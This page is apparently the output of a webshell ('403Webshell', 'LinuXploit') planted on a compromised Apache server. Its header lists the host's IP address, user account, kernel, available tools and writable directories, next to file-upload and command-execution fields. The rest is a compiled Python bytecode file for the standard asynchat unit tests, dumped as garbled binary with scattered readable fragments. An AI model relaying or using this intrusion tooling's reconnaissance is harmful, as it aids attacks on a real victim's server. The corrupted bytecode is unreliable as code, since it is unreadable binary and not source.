403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_asynchat.cpython-36.pyc
3

�w2_^(�
@s4ddlmZejd�ZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZ
yddlZWne
k
rzdZYnXejZdZdZer�Gdd�dej�ZGdd	�d	ej�Zd
d�Ze
jed�Gd
d�de
j��ZGdd�de�ZGdd�de
j�ZGdd�de
j�ZGdd�de
j�Zedk�r0e
j�dS)�)�support�_threadNsQUIT
g@c@s eZdZdZdd�Zdd�ZdS)�echo_server�cCs<tjj|�||_tjtjtj�|_tj	|j�|_
d|_dS)N)�	threading�Thread�__init__�event�socket�AF_INET�SOCK_STREAM�sockrZ	bind_port�port�start_resend_event)�selfr	�r�7/opt/alt/python36/lib64/python3.6/test/test_asynchat.pyrs
zecho_server.__init__c
Cs�|jj�|jj�|jj�\}}d|_x*t|jkrR|jd�}|sDP|j||_q*W|jjtd�|_|j	rt|j	j
�y@x:|jr�|j|jd|j��}t
jd�|j|d�|_qxWWnYnX|j�|jj�dS)N�rg����MbP?)r
Zlistenr	�setZaccept�buffer�SERVER_QUIT�recv�replacer�wait�send�
chunk_size�time�sleep�close)rZconn�client�data�nrrr�run(s*




zecho_server.runN)�__name__�
__module__�__qualname__rrr"rrrrrs	rc@s$eZdZdd�Zdd�Zdd�ZdS)�echo_clientcCs^tjj|�g|_|jtjtj�|jt	|f�|j
|�d|_dd�}tj
dkrZdd�}dS)NrcSsdS)Nr)rrrr�handle_connectRsz,echo_client.__init__.<locals>.handle_connect�darwincSsdS)Nr)rrrr�handle_exptXsz)echo_client.__init__.<locals>.handle_expt)�asynchat�
async_chatr�contentsZ
create_socketr
rrZconnect�HOST�set_terminatorr�sys�platform)r�
terminatorZserver_portr'r)rrrrJs

zecho_client.__init__cCs|j|7_dS)N)r)rr rrr�collect_incoming_data[sz!echo_client.collect_incoming_datacCs|jj|j�d|_dS)Nr)r,�appendr)rrrr�found_terminator^szecho_client.found_terminatorN)r#r$r%rr2r4rrrrr&Hsr&cCs:tj�}t|�}|j�|j�|j�tjd�||fS)Ng{�G�z�?)r�Eventr�startr�clearrr)r	�srrr�start_echo_serverbs
r9z!Threading required for this test.c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd S)!�TestAsynchatFcCstj�|_dS)N)rZthreading_setup�_threads)rrrr�setUppszTestAsynchat.setUpcCstj|j�dS)N)rZthreading_cleanupr;)rrrr�tearDownsszTestAsynchat.tearDowncCs�tj�}t|�}||_|j�|j�|j�tjd�t	||j
�}|jd�|jd|�|jd|�|jt�t
j|jddd�|jtd�|j�r�|jd�|j|jd	dg�dS)
Ng{�G�z�?shello sworldsI'm not dead yet!i,)�use_poll�count�timeout)r@zjoin() timed outshello world)rr5rrr6rr7rrr&r�pushr�asyncore�loop�usepoll�join�TIMEOUT�is_alive�fail�assertEqualr,)rZtermZserver_chunkr	r8�crrr�line_terminator_checkvs"



z"TestAsynchat.line_terminator_checkcCsxdD]}|jd|�qWdS)Nr���
)rrLrM)rK)r�lrrr�test_line_terminator1�s
z"TestAsynchat.test_line_terminator1cCsxdD]}|jd|�qWdS)NrrLrMs
)rrLrM)rK)rrOrrr�test_line_terminator2�s
z"TestAsynchat.test_line_terminator2cCsxdD]}|jd|�qWdS)NrrLrMsqqq)rrLrM)rK)rrOrrr�test_line_terminator3�s
z"TestAsynchat.test_line_terminator3cCszt�\}}t||j�}d}|j|�|jt�tj|jddd�|jt	d�|j
�r^|jd�|j|j
|d|�g�dS)Nshello world, I'm not dead yet!
i,g{�G�z�?)r>r?r@)r@zjoin() timed out)r9r&rrArrBrCrDrErFrGrHrIr,)rZtermlenr8r	rJr rrr�numeric_terminator_check�s



z%TestAsynchat.numeric_terminator_checkcCs|jd�dS)Nr)rS)rrrr�test_numeric_terminator1�sz%TestAsynchat.test_numeric_terminator1cCs|jd�dS)N�)rS)rrrr�test_numeric_terminator2�sz%TestAsynchat.test_numeric_terminator2cCs~t�\}}td|j�}d}|j|�|jt�tj|jddd�|jt	d�|j
�r^|jd�|j|j
g�|j|j|�dS)Nshello world, I'm not dead yet!
i,g{�G�z�?)r>r?r@)r@zjoin() timed out)r9r&rrArrBrCrDrErFrGrHrIr,r)rr8r	rJr rrr�test_none_terminator�s



z!TestAsynchat.test_none_terminatorcCs|t�\}}td|j�}d}tj|tdd�}|j|�tj|j	ddd�|j
td�|j�rf|j
d	�|j|jd
dg�dS)NrNshello world
I'm not dead yet!
�)�buffer_sizei,g{�G�z�?)r>r?r@)r@zjoin() timed outshello worldsI'm not dead yet!)r9r&rr*Zsimple_producerr�push_with_producerrBrCrDrErFrGrHrIr,)rr8r	rJr �prrr�test_simple_producer�s


z!TestAsynchat.test_simple_producercCsnt�\}}td|j�}d}|j|t�tj|jddd�|jt	d�|j
�rX|jd�|j|j
dd	g�dS)
NrNshello world
I'm not dead yet!
i,g{�G�z�?)r>r?r@)r@zjoin() timed outshello worldsI'm not dead yet!)r9r&rrZrrBrCrDrErFrGrHrIr,)rr8r	rJr rrr�test_string_producer�s

z!TestAsynchat.test_string_producercCsrt�\}}td|j�}|jd�|jt�tj|jddd�|jt	d�|j
�rZ|jd�|j|j
dd	d
g�dS)NrNshello world

I'm not dead yet!
i,g{�G�z�?)r>r?r@)r@zjoin() timed outshello worldrsI'm not dead yet!)r9r&rrArrBrCrDrErFrGrHrIr,)rr8r	rJrrr�test_empty_line�s



zTestAsynchat.test_empty_linecCs�t�\}}tj�|_td|j�}|jd�|jt�|j�t	j
|jddd�|jj�|j
td�|j�rv|jd�|j|jg�|jt|j�d�dS)	NrNshello world
I'm not dead yet!
i,g{�G�z�?)r>r?r@)r@zjoin() timed outr)r9rr5rr&rrArZclose_when_donerBrCrDrrErFrGrHrIr,Z
assertGreater�lenr)rr8r	rJrrr�test_close_when_done�s





z!TestAsynchat.test_close_when_donecCs�t�\}}td|j�}d}|j|�|jt|��|jt|��|jt|jd�|jt|jd�|jt�t	j
|jddd�|jt
d�|j|jd	d	d	g�dS)
NrNsbytes
�
Zunicodei,g{�G�z�?)r>r?r@)r@sbytes)r9r&rrA�	bytearray�
memoryview�assertRaises�	TypeErrorrrBrCrDrErFrIr,)rr8r	rJr rrr�	test_pushs


zTestAsynchat.test_pushN)r#r$r%rDr<r=rKrPrQrRrSrTrVrWr\r]r^r`rfrrrrr:ls 
r:c@seZdZdZdS)�TestAsynchat_WithPollTN)r#r$r%rDrrrrrgsrgc@seZdZdd�ZdS)�TestAsynchatMockedc	Csjtjj�}ttj�|j_tj	�}|j
|�|j|j�tjj
j|d��}|j�WdQRX|j|j�dS)NZhandle_error)�unittestZmockZMock�BlockingIOError�errnoZEAGAINrZside_effectr*r+Z
set_socketZ
addCleanupZdel_channelZpatch�objectZhandle_readZassertFalseZcalled)rr
Z
dispatcher�errorrrr�test_blockingioerrors

z'TestAsynchatMocked.test_blockingioerrorN)r#r$r%rnrrrrrhsrhc@seZdZdd�ZdS)�TestHelperFunctionscCs,|jtjdd�d�|jtjdd�d�dS)Nzqwerty
z
rZ
qwertydkjfr)rIr*Zfind_prefix_at_end)rrrr�test_find_prefix_at_end&sz+TestHelperFunctions.test_find_prefix_at_endN)r#r$r%rprrrrro%sroc@seZdZdd�ZdS)�TestNotConnectedcCstj�}|jt|jd�dS)Nr���)r*r+rd�
ValueErrorr.)rrrrr�!test_disallow_negative_terminator,sz2TestNotConnected.test_disallow_negative_terminatorN)r#r$r%rtrrrrrq+srq�__main__)Ztestr�
import_moduleZthreadr*rBrkr
r/rriZ
unittest.mockr�ImportErrorr-rrFrrr+r&r9Z
skipUnlessZTestCaser:rgrhrorqr#�mainrrrr�<module>s:

.

&


Youez - 2016 - github.com/yon3zu
LinuXploit